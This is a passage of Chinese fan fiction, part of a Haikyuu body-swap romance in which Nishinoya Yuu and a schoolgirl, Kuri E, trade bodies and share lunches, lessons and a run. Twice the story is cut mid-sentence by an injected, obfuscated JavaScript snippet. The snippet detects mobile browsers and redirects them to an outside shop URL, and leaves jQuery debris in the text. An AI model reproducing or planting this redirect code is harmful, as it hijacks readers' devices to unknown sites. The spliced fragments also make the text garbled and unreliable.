“谢谢。”九里绘认真地说，鼻腔间带了些回音。 经过了一番纠结，九里绘动了动嘴唇：“假如——” 悠扬的音乐打断她的声音，是课前的预备铃响了。 会和到开锁终究是花费了太多时间。 没办法，这些时间都是必要的。纵观全校，除了天台以外，九里绘没把握能找到一个不会有人打扰的场所。 想罢，九里绘在一瞬的垂眸后抬起眼，她惜字如金：“中午，再到这里见面，记得带上便当。” 趁放学前靠保持沉默多积攒点社交精力，再一口气全部砸在和西谷夕的对话上，这是九里绘的计划。 “我是1年级2组的九里绘。”她幽幽地开口，眼底透露着一种宁静的注视，“回见，西谷同学。” 走之前，西谷夕没来由地记住了一个小细节。 那就是九里绘从来没有称呼他为“学长”。 一次也没有。 * 午休，天台。 掰断的铁丝被随手丢弃在地上，九里绘靠在墙角无聊地啃饭团，吃完一半才等来了神情慌张的西谷夕。 分明处在一天之中温度较高的正午节点，他却又多加了一件黑色外套，身前的钮扣系得严严实实。 他跨入门槛，左看右看，和沉默地盯着他看的九里绘视线相交了几秒。 一副鬼鬼祟祟的模样——九里绘这般评价。 西谷夕沿着围栏巡视一圈，确认天台只有他们二人后，再度把门反锁，用力拽了两下把手，这才转身。 九里绘摊手：“家里的便当呢？” 刻意没用疑问而是陈述句式，不出她所料，西谷夕猛然鞠躬：“对不起，我忘记拿了！” 头才低到一半，他惊觉这是人家女生原本的身体，又急忙抬起下巴，表情别扭地说：“那个…一觉醒来身体互换这种事，没给我留多余的时间去考虑别的……” “我猜也是。”九里绘点头，神色自若道，“没有什么好道歉的。” 平静与热烈，两个人的外在性格和反应恰好处在对立面。 她将从小卖部那里进货的盒饭与饭团摆在地面，向前推了推。 “啊，多谢！”西谷夕的语气突然严谨，“是用我的钱付的吧？” “嗯。”九里绘又缓缓点头。 “那就没问题了。”西谷夕放心地盘腿席地而坐，又在九里绘杀人般的注视下改成了坐台阶。 双腿合拢，膝盖贴紧，挺胸抬头不要驼背。 必须多注意点…他现在穿的可是裙子！！ “西谷同学，请把我的手机递给我一下。”九里绘说。 “好的。”他莫名拘谨地回话。 表达过谢意，九里绘点开两部手机的通讯录，手指快速戳起键盘，存入双方的联系方式，盒饭被搁置在旁边。 西谷夕的视线无处可放，向周围乱瞟，有一秒停留在小卖部的空塑料袋。 那一刻，他的大脑疯狂运转起来。 不填饱肚子可是不行的——西谷夕心说，他的身体饭量还挺大，一顿没吃饱，会同时影响到心情和精力，后续的状态也会变得很差很差。 既然九里同学在用他的身体生活，他就肯定有必要关照好她，尽可能避免一切负面的体验…… 这种想法未经大脑进一步核实，西谷夕的手比脑子要快，连拆两个全新口味的饭团，拍到她掌心说：“九里同学要好好吃饭啊！” 很顺手地扯开吸管，戳进新的盒装牛奶，全部都摆在她面前，铺成了一个扇形。 九里绘：“？” 忽然get到了他的意思，九里绘归还手机，开始努力把自己塞到腮帮子鼓起：“…唔。” 一不留神吃得太多，九里绘喝了好几口水，才吞咽下去，严肃回复道：“为了西谷同学的身体健康，我会好好吃饭的。” “同样还请西谷同学不要吃得太撑，大约八分饱就足够了。”九里绘反过来提醒西谷夕，“不然下午会昏昏欲睡，影响到听课效率。” “下午的课？”西谷夕呆呆地重复了一遍，十分心虚地别过头，“好，我会注意！！” 上课……都发生那么魔幻的事情了怎么还要上课。 九里同学对上课听讲的态度好执着，是三好学生吗？ 不怎么笑的表情感觉是和洁子学姐同种类型的人……果然是三好学生吧！ “说回正题，关于身体互换这件事，西谷同学有什么头绪吗？”九里绘发出关键性的一问。 西谷夕绷直了后背，握紧拳头，口齿清晰：“完全、没有！” 九里绘两眼一黑，看不到两人能顺利交换回来的未来。 要是“互换身体”是个看得见摸得着的按钮就好了，至少不会像现在这么毫无头绪。 “我最近几天…一周…一个月内，都没有遇到过奇怪的灵异事件。”九里绘尽量让自己投入思考，“西谷同学的生活里有出现过什么魔幻的东西吗？” “没有。“西谷夕苦思冥想。 “但要说生活中的变化，还是有一点特殊情况的。”西谷夕用手背托住下巴，一本正经地说，“这个月，我没去参加排球部的部活。” 九里绘：“？” 西谷夕接上：“开启了拦网救球的特训。” 九里绘：“……” 排球和互换身体这二者之间有什么决定性的关联吗？ 等等，排球。 “我昨晚梦见了一场排球赛。”九里绘赶紧提到，“严格意义上来讲，是有西谷同学你参加过的比赛，我不清楚这件事和互换身体有什么关系……” “你看过我的比赛吗！？“西谷夕的关注点一下子跑偏，“在哪里在哪里？你看了整场吗？！” “嗯，去年国 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因为思考排球而安静的西谷夕，就和当初排球场上的他一样，像是沉寂的陆地…不，应该用海洋来形容会更好。 表面平静无风的海面，深处却暗潮涌动。 九里绘默不作声地追加了好几条对于西谷夕的想象。 “强校的发球果然厉害啊！” 西谷夕兴奋地嚷嚷：“有好几个球特别难接，不愧是强校，打得特别痛快！！” 一提到排球的话题，西谷夕的话就多到如开闸的水库那样滔滔不绝，时不时会加上肢体的动作，用上些奇怪的象声词。 西谷夕：“发球砰得一下飞过来，如果不能在咚得一下之前啪得接住，绝对会飞出界的！！” “……！”九里绘的嘴角疯狂抿成一条缝，脸颊浮现出一片淡淡的红色斜杠符号。 出现了，久违的心跳错乱感！ 他在说接球相关的话题诶…是很有意思的接球诶。 有意思的接球+感兴趣的人=双倍…不，是二次方的快乐！ 慢着，她真的认识西谷夕了诶！！ 不知怎的，九里绘的脑海里响起了她曾经放出过的狠话。 天地可鉴，这可不是她在主动出击，而是西谷夕主动找到了她！ 一只九里绘试图狡辩。 【一见钟情是我自己的事，本来就跟他没什么关系。】——现在有关系了。 一只九里绘开始毫不犹疑地折断了自己立下的flag，挖坑掩埋。 并在大脑深处响起理智切断链接的声音。 “西谷同学，请稍等下，有些话我必须要和你说！”九里绘忽然握住了他的手腕。 此时此刻，她已经把一切都抛在脑后，任由自己进入到几近暴走的状态。 清了清嗓子，冲昏了头脑的九里绘一鼓作气：“假如我的梦境是引发了互换身体的罪魁祸首，请务必让我对你负责！！” “…诶？！？！”西谷夕听到了相当容易引起误会的话，耳尖隐约泛起微红。 “虽然条件很差…但既然西谷同学主动出击了，我就不想浪费这次认识西谷同学的机会。” 不当第一个主动者，但阻碍不住她看到机会就想上的本性。 “你——”九里绘的社交能量和词汇量同时见底，情急之下，她决定先简单概括。 有点过于着急了，以至于九里绘忘记了她那远比词汇量还要岌岌可危的现代文成绩单。 “你在排球场上的身影曾让我留恋不已。” 九里绘语速飞快：“正式认识请多关照！” 轰！！！—— 刺激程度不亚于接下迫击炮一般的发球攻击，西谷夕瞬间捂脸，手指挡住眼睛。 他在原地身心宕机，过了好一会才松开手，不可思议地望着刚才被握住的手腕，大脑当场联结宇宙。 片刻后，宇宙红温爆炸了。 “西谷同学你怎么了？”旁边传来熟悉的低沉嗓音。 西谷夕猛地回头，差点尖叫：“你、你怎么还在这？！！” 九里绘面露不解，仿佛刚才那段直球发言不是她说似的：“距离上课还有一些时间，我为什么不能在这里？有什么不对劲吗？” 不对劲！哪里都很不对劲啊！！！ 西谷夕在心中高声呐喊。 按照dokidoki的剧情套路来看，主人公说完这种台词后，不应该立刻马上羞涩低头，一口气冲下楼梯的吗？！！ “之前就想说了…西谷同学你的耳朵红得发烫，果然是衣服裹太厚了吧。”当事人九里绘一脸认真地提起竖领，比划道，“黑色外套披着就好，里面的衬衫马甲可以不穿。” 西谷夕凝固：“……” 啊！！！（尖叫） 脸红心跳+羞涩低头的人原来只有他啊！！！！ 5. 05章 05章——笨蛋就不要过度动脑了 事实上，在西谷夕被奇怪的话题蒙蔽了大脑、逃离天台之前，他和九里绘还有过一段相对理性探讨（存疑）的对话。 “假如身体换不回来了该怎么办？”九里绘问。 一眨眼，就见西谷夕战术性后仰，用相当大的嗓门打断：“不要把后果想得那么可怕啊！！” “没觉得可怕。”九里绘抱住手臂，面无表情地说道，“仅仅是身体的变化，不能影响到我们各自的生活。” 九里绘低头，捏着自己的下巴摆造型：“人生的未来有很长，就算身体换了，自己也还是自己，不能被别的什么东西牢牢捆在原地。” 西谷夕：“…好帅！！！” 说得很有道理啊！！！ 发表赞同的间隙，西谷夕发现了九里绘的一个特征。 她在思考的切入点上比较奇特，和寻常人不太一样。 但是考虑得很果断，能够直击身体互换的核心矛盾，还说出了堪比名言一样的句子……酷啊。 就在西谷夕走神之际，九里绘努力动脑子发言：“先试想最坏的可能性，这样一来就不会害怕最坏的结果出现。” 西谷夕集中注意力，用力点头，专心听着。 九里绘：“我觉得，我们没有必要强迫自己扮演对方的性格，可以先找点借口搪塞过去，比如身体不适喉咙疼痛，多观察几天。” “说不准过个两三天，我们的身体就会自动换回来了。”接下去，九里绘用小到只能自己听到的声音说，“神明大人啊，快来修复这个世界的bug吧……” 身体互换的设定实在是太过魔幻了，太超前了。 她一点也不想把上厕所和洗澡变成每天都在纠结的事情，也不想提心吊胆地去有男生进出的卫生间了！ 待深呼吸一口气缓过劲，九里绘捏着筷子，看向西谷夕：“假如过了好久身体还换不回来，到时候再跟家人朋友解释清楚吧。” “好，就按你说的办！”西谷夕和她的想法一致。 无论怎么看，现阶段“等待”才是首选。 而且在等待的过程中，最好不要在外界做出过于显眼和异常的举动，不然会让家人朋友担心的。 九里绘接着又补充了几句，提醒西谷夕稍微收敛些，不用过于开朗外向就行，同样的，她也会替他努力上课学习…… 终于等到她讲完，西谷夕蠢蠢欲动。 “明白，我一定会守护好九里同学你的身体的！”利落地吼完这一声，西谷夕化发誓为动力，狠狠咬了一口饭团。 九里绘小声：“…收敛。” 西谷夕呛了一下，压低音量：“这回我是真的明白了。” 距离上课还有五分钟，九里绘把大大小小的空饭盒与拆散的包装袋做好垃圾分类。 西谷夕很自然地接过了丢垃圾的任务，临走前，他朝九里绘扬起了一个不露齿的、腼腆的微笑。 “收敛成这样应该可以了吧。”黑发少女的眉眼弯弯，笑得一身正气，明媚又灿烂。 九里绘眯了眯眼，无情告知：“我平常面对别人，从来不会笑。” “怎么这样！？” 身为阳光开朗男高的西谷夕十分崩溃，他扯了下嘴角，艰难地一个个朝外吐字：“好……我会努力控制自己的。” * 下午对于西谷夕而言无比漫长。 教室中的琅琅读书声不绝于耳，他将一册课本立在桌板上，装作埋头苦读的模样，用书页遮挡住他无法控制的小表情，心思早已飘到了九霄云外。 午休，天台，九里绘。 三个关键词组成了让西谷夕脸上产生红晕的回忆。 【虽然条件很差…但既然西谷同学主动出击了，我就不想浪费这次认识西谷同学的机会。】 这辈子从没在学习课文上激发出来的背诵潜力，正在西谷夕的脑内反复生效。 【你在排球场上的身影曾让我——】 【——留恋不已。】 够了！就此打住！再想下去他就要忍不住想歪了！ 西谷夕仍在纠结九里绘的那番话究竟是什么意思。 她特意强调了，国中时看过他的比赛…对哦，排球。 西谷夕用手指来来回回敲着手背，语言逻辑乱成了一锅粥。 感觉好奇怪…… 先是互换身体，后是引出对方“早就关注到自己”的回忆杀片段。 这种只会出现在漫画中的天赐邂逅桥段，按理说后面跟进的剧情应该是心动dokidoki才对，可是西谷夕却觉得九里绘当时的表情没那么简单。 她的眼底汇聚着某种情绪，好像还有点熟悉…… 为了攻破棘手的语言分析题，西谷夕专门去查了释义。 留恋不已这个词的意思很微妙——“不忍舍弃或离开”，倒好像不是什么心动专属的四字熟语。 他和朋友一起打排球的过程当中就有过类似的感受。 再加上强调了“排球”，所以九里同学真正的意思是她也能从看他的排球中体会到同样的心情。 原来如此啊…是粉丝。（笃定） 西谷夕悟了。 而且是那种在暗中观察、默默看他比赛并愿意一直支持他的超级粉丝——甚至是个女孩子！拥有异性粉丝群体的故事桥段终于在他的身上发生了！ 他就知道早该如此…咳咳，这种情节对于他这样的主角而言，无论什么时候出现都不算晚。 “九里同学。”头顶上方传来陌生的声音，西谷夕仍然沉浸在雀跃中，自动过滤掉了外界的内容，没有作出反应。 可恶，为什么没能早几年认识她呢？得让她好好看看自己打排球时无敌帅气的样子啊。 让她更加确信她的支持是值得的！ 前排的座位，至少要坐在观众席前排才看得清楚吧。 “咳咳咳。”后桌的中尾葵故意踢了踢凳脚。 “九里同学！”讲台上的老师放大了音量。 中尾葵充满暗示性的咳嗽都快把嗓子眼给咳出来了，西谷夕这才倏地起身应答：“是！” 对了，“九里绘”是在叫他来着。 “请回答一下第三题。” 西谷夕慌张地端起课本，勉强集中注意力，盯着上面的几串鬼画符眉头紧锁，最后恍然大悟，把书倒了过来。 磕磕绊绊，念出了显然是错误的发音。 老师满脸无奈地让他坐下：“下次记得认真听讲，不要开小差。” “……是。” 为了不让九里绘的身份在众人面前出丑，还是先不胡思乱想了。 自这个决定诞生后，西谷夕有意识地整理好褶皱的裙角，在重新落座的同时，他目光坚定地正视前方，一份名为责任感的重担狠狠地压在了他的双肩。 从此刻起，就算不是为了他自己，也要认真听讲好好学习！ 不辜负九里同学对他如此高的评价和期望！ 这时，前桌转过身传来几张纸，他顺手留下一张，把剩余的接着传到后面，等回过神来，便看见醒目的“测验”二字。 讲台上的老师：“随堂小测，铃响后交，班长记得放学前来拿试卷。” 西谷夕：“…………” 轰隆一声巨响，宛如一道晴天霹雳劈中了他的灵魂。 对不起，九里同学。西谷夕攥紧了试卷的一角。 唯独这一点，他就是上刀山下火海…拼死也做不到。 西谷夕双眼无神地面朝天花板，仿佛白色石雕一样凝固在座位上。 私密马赛，我要让你失望了。 * 另外一边。 九里绘撑着下巴，翻看起西谷夕的笔记本，分出心去听黑板上的例题讲解。 西谷夕的笔记本有将近一半是空的，剩下填满了字的一半都是些和课堂内容无关的东西，在纸上横七竖八地躺着，像是字符串们在草坪上野餐。 排球、排球、对近期事件的吐槽、和朋友传的字条、某个突发奇想的点子，然后是排球…… 排球浓度好高哦。 虽然这么说对改变现状不太友好，但九里绘发现了互换身体后的…某种意义上的好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730962|145036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处。 那就是可以用“多了解一些本人，尽力扮演出不会被怀疑的西谷夕”这个冠冕堂皇的理由，理所当然地观察起别人的“私密空间”。 对不起…她开始乱用形容词了。九里绘捂脸。 幸亏赶在午休结束前一秒，九里绘就有发消息询问西谷夕是否可以使用本子帮他记录下课堂笔记，对方秒回：【当然没问题！！】 得到了本人的许可，九里绘放心大胆地看起来。 【板下商店的咖喱包子和肉包……】 【……撞到人后又不小心撞碎了花瓶，被秃顶主任罚停课（怨念到断墨）停课就算了，为什么连排球部活也要一起停！？！】 【XXX（被墨水涂黑）加训加训加训加训……】 九里绘想了想，动笔在空白的地方加上注释。 【（这里是九里）：听说教导主任曾经因为忘带钥匙而被锁在办公室外面，后来他习惯在附近藏一串备用钥匙。】 【最近一次被我发现是放在办公室外面的那盆植物底下，上回花盆碎掉换新后，我就找不到天台的钥匙了。】 【原来这件事和西谷同学有关啊。】 九里绘在略带迟疑过后，写她最想说的真心话：【我还以为被停课是因为抢了教导主任的假发玩，可惜不是…西谷同学真是个遵纪守法的乖学生。】 不看了，给西谷同学做点课堂笔记吧。 九里绘此次翻日记的收获颇丰。 看起来很有当不良潜质的西谷同学本质是个听话的乖孩子。 不像她，会撬锁会翻墙，满脑子都是如何在不违反校规的前提下擦边而过，在试探的边缘疯狂蹦哒。 实在是没办法……毕竟目前的她正处于“空窗期”。 …嗯，一不小心又暴露了糟糕的用词水平。 此处的“空窗期”是指“没什么一心一意投入的兴趣爱好”时期，结束“空窗期”意味着出现了一个能把九里绘的所有注意力通通一口气吸走的事物。 新学期入校时，面对一众热情洋溢的社团招新宣传，九里绘耐下性子逐一婉拒了所有邀请，毅然决然地选择了回家部。 说是回家部，九里绘却没有直接回家，而是把书包丢在某间不易察觉的角落，空手出门，用日落前的时间在整个校园里四处游荡。 被二三年级的前辈们征用来午睡和享用下午茶的空教室，套着透明袋藏在马桶水箱里不知是谁的游戏机，某个储物柜的四位锁密码试出来是1234…… 乌野高校有许多小细节在九里绘的面前无所遁形。 校园落到九里绘心里，成了一个藏匿着许多小彩蛋的探险世界。 一个人随性地到处乱逛，再为有可能结束的“空窗期”碰碰运气，寻找下一个有趣的东西。 人生就是一个大型的开放世界游戏，真好玩。九里绘始终这么无厘头地认为。 慢着，说起来…… 自两年前起，似乎就有某样东西（排球）已经担任了九里绘心头的“空窗期”备选。 “西谷同学。”前侧方传来陌生的声音。 同样的话不知响起了多少遍，九里绘才站起身。 盯准黑板上的题目，她张了张嘴，神色凝重地回答：“是钝角。” 窒息般的宁静在空气中弥漫开来。 整整五秒过去。 国文老师扶了扶眼镜框，皮笑肉不笑地开口：“这道题是选择题，而且，都是汉字释义匹配。” “请问西谷同学…哪里来的钝角？？？还有，把你的数学课本给我收下去！” 一分钟后。 教室外的九里绘一边罚站，一边默默地在本子的空白部分写下道歉的话。 【对不起，西谷同学。】 九里绘控制住想要泪流满面的心情。 唯独现代文这种东西…恕她讲了快十六年霓虹语还是无法理解，就和她的用词水平一样糟糕。 同一时刻的同一栋教学楼，两个身处不同班级，尤其是灵魂身在异处的主人公不约而同地说出了相同的话。 ……够咩那塞！！！ 6. 06章 06章——他比想象中更加有趣 “西谷同学…西谷同学，你有听见我说话吗？” “没有的话就算了。” 到了放学，九里绘用桌肚里的手机约西谷夕见面。 这段时间恰好处于教学楼顶层的清理环节，为了避开其他人，只好选择别的见面地点。 离操场较近的一块草坪上，他们打开书包拉链，将课本、笔记和布置的作业对换。 期间氛围寂静得可怕，除了不远处体育社团的哨音和列队声，空气中只剩下理书包产生的窸窸窣窣的动静。 西谷夕的表情严肃，一点也没有他开朗活泼的风格。 九里绘不由得感到困惑，于是她一边忙着手头的动作，一边询问今天有发生什么特殊的事。 不问还好，这一问，全身心绷紧的西谷夕终于忍不住抬起双手捂住脸，从指缝里传出意义不明的“啊”声。 九里绘：“怎么了？” 西谷夕：“对不起！！！” 已经分不清是西谷夕今天第几次道歉了，九里绘渐渐习惯了他的反应，她一点也不慌。 “没关系，不管西谷同学说出什么可怕的真相，我都能够接受……除非实在忍不住。” 其实她本来也想道歉的，但在翻到西谷夕那些和她分数一样惨烈的试卷时，那种心虚感瞬间被冲没了一半。 现在她的心情究极坦荡！（叉腰） “真的吗？！”西谷夕激动地放下手，很快又失魂落魄地说，“不对…这次不一样。等我说完后你肯定会忍不住的，所以九里同学还是别原谅我了！” “下午的英语课考了突击测验。”颤抖的手从书包里抽出打满勾和少数圈的试卷。 “我给九里同学考了…考了40分。”声音到最后微弱得像蚊子叫，说完这一切后，西谷夕如释重负。 他紧紧闭上眼，等待怒火的降临。 半晌后，他听见九里绘缓缓开口：“你是说…40分？” 伴随着一次非常响亮的吸气声，九里绘逐句强调，抑扬顿挫地复述道：“你在、英语课的、小测上，考了40分！？正正好卡到及格线？！！” 西谷夕咬牙准备好承受一切：“…是！” 然而，预想中的沉默或指责并没有到来。 “西谷你是英语天才吗？”九里绘惊喜地抓住他的手腕，语调一改往日的平静与稳重，“谢谢你！真的非常感谢你！” “啊？”西谷夕呆住了，都忘了注意被握住的手腕。 “上高中后，这可是我第一次在考试上拿到及格分。”九里绘兴奋不已，夸张地大喊，“西谷夕，你简直就是个天才！！” 天、天才！？ 突如其来被夸上天的西谷夕脸微红，连忙摆手，左顾右盼：“啊这个…天才什么的完全没有那回事啦！” 西谷夕：“区区考及格这点小事，都属于我正常发挥的范围之内！这是我随手做的…嗯没错！” 显然在说辞上用了美化。 真相是他为了多拿点分几乎快要把自己逼得从单细胞变异了。 （虽然变异的单细胞…好像还是单细胞？）（所以也可能是进化） 绞尽脑汁地去辨别听力那如同含着浆糊一样的口音究竟在说些什么，把阅读理解题空白的地方几乎全都写满； 能抄原文就抄原文，写作爆炸性发挥用了几个二年级学到的新词…… 批改到最后英语老师失去耐心，忍无可忍，在一堆词里勉强打出几个圈，又看在“九里绘”成绩疑似进步的情况下酌情给分，才有了这个分数。 九里绘继续抓着他的手腕，高兴地上下乱晃：“我妈妈下周就要过生日，她说她的愿望是见证我考到及格线——这是她毕生的梦想了。” 九里绘：“为此我还纠结了半天该怎么办，多亏了西谷同学，没有你就没有及格分！” 谁家妈妈的生日愿望会是女儿考及格啊！这种毕生梦想未免也质朴了吧！！ 对漂亮安静型女生的刻板印象没有发挥出任何除了误解以外的作用，西谷夕大受震撼。 等等……九里同学难道不是那种上课仔细听讲，到家就写作业复习功课，成绩很不错的好学生吗？？？ 怎么听上去和他的成绩一样烂啊！！ 暴走时间结束，九里绘恢复了她平时的正常状态，收敛情绪，礼貌地鞠躬。 “你替我考到了及格分，万分感谢。”九里绘看着西谷夕，郑重地表示，“一定不能亏待了你，走，我替你完成日常体能训练。” * 体能训练是每个运动类社团都逃不过的指标。 不希望在校外偶遇熟人，和西谷夕商量下来临时改为绕学校长跑。 等他们跑完，刚好能和在室内训练的排球部长跑时间错开，不用担心撞上。 操场上有足球部和田径部在进行日常训练，为了不干扰到别人，她在脑中回忆了一遍乌野校内的路况，构思好了跑步路线。 蹲下压腿时，她忽然想起了什么，看向西谷夕：“你要来一起跑吗？” 西谷夕像星球公转似的围着九里绘观察了几圈，看见她的表情依旧淡然，才指了指自己：“我、我用你的身体…可以吗？” “当然可以。”九里绘对此无所谓，“我的体力还行，一直有保持健身，你就当帮我运动好了。” 有她这句话，西谷夕一秒来了精神，握拳置于胸口，大声喊道：“保证完成九里同学的任务！” 九里绘推着他的后背把他赶去换运动服。 西谷夕头冒热气地走了，去了整整十分钟都还没回来。 九里绘捡了根树枝，在花圃的泥土坑里描出一个人形轮廓，而后安静地蹲在旁边，想象了一集命案推理的动画片。 脑补到那个戴着红色小领结和眼镜，身体虽然变小但是头脑依然灵活的名侦探开始指认凶手时，西谷夕终于回来了。 磨磨唧唧地换掉了不适合运动的短裙和鞋，九里绘盯着他脸颊两边难以消退的红，很自然地侧目感叹：“这样啊…男高。” 西谷夕：“…？？！” 虽然有点没太听懂，但他觉得这句话隐藏的含义没那么简单！ 做完最后一组原地高抬腿，九里绘毫无征兆地冲了出去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730963|145036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西谷夕瞳孔微缩，反应力很快地紧跟其后。 有一个非常有别于刻板印象的事实——九里绘是个完全闲不下来的人。 虽然看起来眉目安静，懒散，偶尔会流露出一种“对人世间没什么留恋”的无所事事的心态，但她却私底下培养出了超多小动作。 假如她在上课开小差。 那么当一节课结束，她能翻完半本专题杂志，速通画完三张意识流的铅笔画，和教室里某人的印象图。 计算今天距离黄金周放假还有多久，给爸爸灵感枯竭的文章编出几个灵感素材。 思考今天找谁抄作业，再顺手补完今天的日记。 真是充实的一节课啊。她伸着懒腰由衷地感慨。 表面干净整洁的课桌，实则桌肚塞得满满当当，几乎一点缝隙都不留。 跑步的过程中，九里绘突然不合时宜地想起了国中篮球部的某些男生。 他们独自走在回家路上，会在随机的某一时刻开始，莫名其妙地改变步伐，手抓着空气来了个标准的三步上篮动作。 然后双脚落地，嘴角愉快地勾起，握拳自言自语：“好球！” 恰好经过目睹一切的九里绘和他大眼瞪小眼：“……” “……”男生尴尬地环视四周，假装自己很忙，却不知道在忙什么。 “好球。”当时，九里绘望向空气篮球落地的位置，点头回应了他。 有什么好尴尬的？九里绘真心搞不懂大多数人那些自相矛盾的想法。 在她看来，既然做出了行动，就该有“自己是全世界之王”的骄傲。 ——说到底，她也觉得单纯的走路和跑步太过乏味了啊！ 一旦不需要专心思考，脑海里的声音就会越积攒越多，到后面就变成了一群意识里的“九里绘”对话，埋怨“这么无聊的事怎么还没结束！” 于是乎…… 九里绘想给这种毫无波澜的生活添加一点小小的增味剂。 身体状态良好。不，甚至可以说是优秀，即便是绕着学校快速跑了两圈，体感上也远没有达到热身运动的量。 打排球的男高身体素质恐怖如斯。 所以……她尝试一些不一样的东西，也是没问题的吧？ 那一刻思维胜过了理智，九里绘马上提速。 在短暂的助跑后领肩起跳，提胯旋转团身—— 伴随着“啪”得一声双脚落地，九里绘抬起臂示意，前空翻完成了。 “啊。”下意识把技巧打分的展示环节加上去了，好失败。 有些丢人现眼。 正当她这么想时，身边却响起了掌声雷动：“Nice point！！！” 九里绘略感意外地转过身。 曾经空无一人的背后，现在是西谷夕在为她鼓掌，仅凭一人拍手拍出了一只应援团的气势来，浅蓝色的眼眸里倒映的全是“她”错愕的神情。 果然，见色起意…不对，一见钟情是有直觉依据的。 【不是她的想象，是现实。】 西谷夕，远比她想象中的更加令人安心和有趣。 7. 07章 07章——爱人，曾经错过版.jpg 两年前，千鸟山夺得最后一分，裁判吹响了代表比赛结束的哨音。 拿下一场，赛程继续。 西谷夕激动地跟着队友们把今天得分最高的选手举高高，虽然举到一半他的手就够不着了，不过不用在意这些细节，他高兴！ 当天所有比赛全都告一段落，返回学校前，千鸟山男排的队伍一路上吵吵嚷嚷，却在拐弯时诡异地集体安静下来。 “？”被挡住视野的西谷夕从后面探出头。 只见印有校徽的巴士旁边，站着一道亮丽的身影。 那人发现了他们，踏着跑鞋和长裙冲到前面。 “自我介绍下，我的名字是久菜和子——但是，请别把我的名字记在心上。”女生嘴皮子飞快地说，“因为，你们需要记住的名字，另有其人。” “？”众人被这开场白震惊到。 “那我们废话少说，直接切入正题。” 久菜和子手法娴熟地掏出一张张名片，正气凛然的视线扫过每一位高个头队员的脸庞，并逐一开始塞。 轮到西谷夕时，久菜和子感受到了海拔的骤然降低，她看着手里已经清空的名片盒，抽了抽脸。 立马鞠躬致歉：“对不起，已经没有了！” 默默吞下后半句：怎么就不小心漏做了一张，幸好个头矮的暂时不在她的筛选名单中。 作为最了解好友的人，久菜和子深知九里绘的理想型三件套为：高个子，聪明人，理性冷静。 眼前疑似顶着杨桃发型的男生恰好完美规避了三个选项，所以第一个排除的就是他。（自信点头） 希望别的尤其是高个头们能赶紧加上她。 不知是不是直觉的缘故，西谷夕觉得自己莫名遭受到了各方位的痛击。 之后，久菜和子才言简意赅地说明了自己的来意。 “我有个朋友——我发誓那个朋友绝对不是我自己。她一见钟情了你们之中的某个人。”久菜和子说，“但是呢…她有些，嗯……” “害、害羞吗？”一旁的队员摸摸后脑勺，不好意思地说。 久菜和子心虚地挪了下视线，然后才把目光转回来，坚定道：“没错，可以这样认为。” “我也不是很清楚到底是哪一位，如果你们哪天遇到了可疑人物，请务必和我联系，也许就是她。” “你们当心点，千万不能被她欺骗了感情和金钱啊！”久菜和子憋了半天，忍俊不禁。 那天，回去后的西谷夕把这段经历说给家里人听。 短暂归家、明天就要飞出国的姐姐笑得合不拢嘴：“所以夕你甚至、你甚至没有收到名片哈哈哈哈！” 西谷夕气得涨红了脸：“重点不是这个吧！只是刚好发完了而已……” “不是哦。发名片的女生绝对是个很聪明的人。”姐姐将真相娓娓道来。 “她看似说着很搞笑的话，怕你们被那个女孩子欺骗…实际上肯定不会是那种情况。” “但她的做法不仅加深了你们对她的印象，也起到了另一个作用。” 姐姐动了动手指头：“那就是找个借口和你们取得联系，再慢慢试探你们男生的品格。” “真是很靠谱的朋友呢。”姐姐托腮感慨，“夕什么时候能像爷爷那样受欢迎啊。” 西谷夕拍桌而起：“我的人气超高，很受欢迎的！！” 姐姐：“唯独没有收到名片，被一秒筛选掉的受欢迎吗？” “啊啊啊啊啊啊！” * 故事回到现在。 九里绘在心中回想了一遍偶遇男生空气投篮的那个下午。 一部分沉浸在自我世界的人会对展现出真实的自己而感到羞耻。 九里绘从来不在乎别人的看法，但多少知道些这个国家的流行风潮和社会风俗。 比方说有些太过招摇的行为是“不合时宜”的，尤其不符合礼数…… 可是，西谷夕绝对是那类一点都不觉得空气投篮会丢脸的人，十分自然又无比真诚地接上了她的话。 ——就像那句“好球”。 “刚才那个动作，啊还有那个抬手示意…在比赛上会得高分吗！？”西谷夕激动地问，加速冲上来，和九里绘并肩跑，“肯定会的吧！” 【他的热情不是来源于她的想象，而是现实。】 “九里同学国中是哪个体育社团的？”西谷夕紧接着问。 九里绘在短暂的沉默中，做出了一个违背原则的决定：“……没有。” “诶？” “想要尝试新鲜的、有趣的东西，并且学习它，就必须要加入某个社团，去参加竞争才可以吗？”她语气较为尖锐刺耳地反问道。 在这句话道出口前，她已经提前预想好了最严重的后果。 九里绘把一句“对不起是我冒犯了”咽在喉咙口，静候着脱口而出的机会，只等西谷夕爆发出不满…… “不需要啊！”西谷夕接话，“对啊，从来都不需要！！” 九里绘怔住了。 居然认同了她离经叛道的观点。 “你觉得有意思就好啦！”西谷夕笑了笑，话锋一转，“之前没有发现，你还挺会讲大道理的嘛，难道说出这种类型的句子也是你的特长吗？——” “——用最简单的话来解读一些振奋人心的正论，九里同学特供版！！” 哪有他说的那么厉害啊！！ “西谷同学，你居然是活在现实中的人。”九里绘脱口而出。 “诶？” “……没什么。” 【现实的西谷夕比她想象中的还要有趣。】她在心中暗自补完这句话。 或许可以多说些。 九里绘差点在拐角处撞墙，抿抿嘴，试探着调整了一下呼吸。 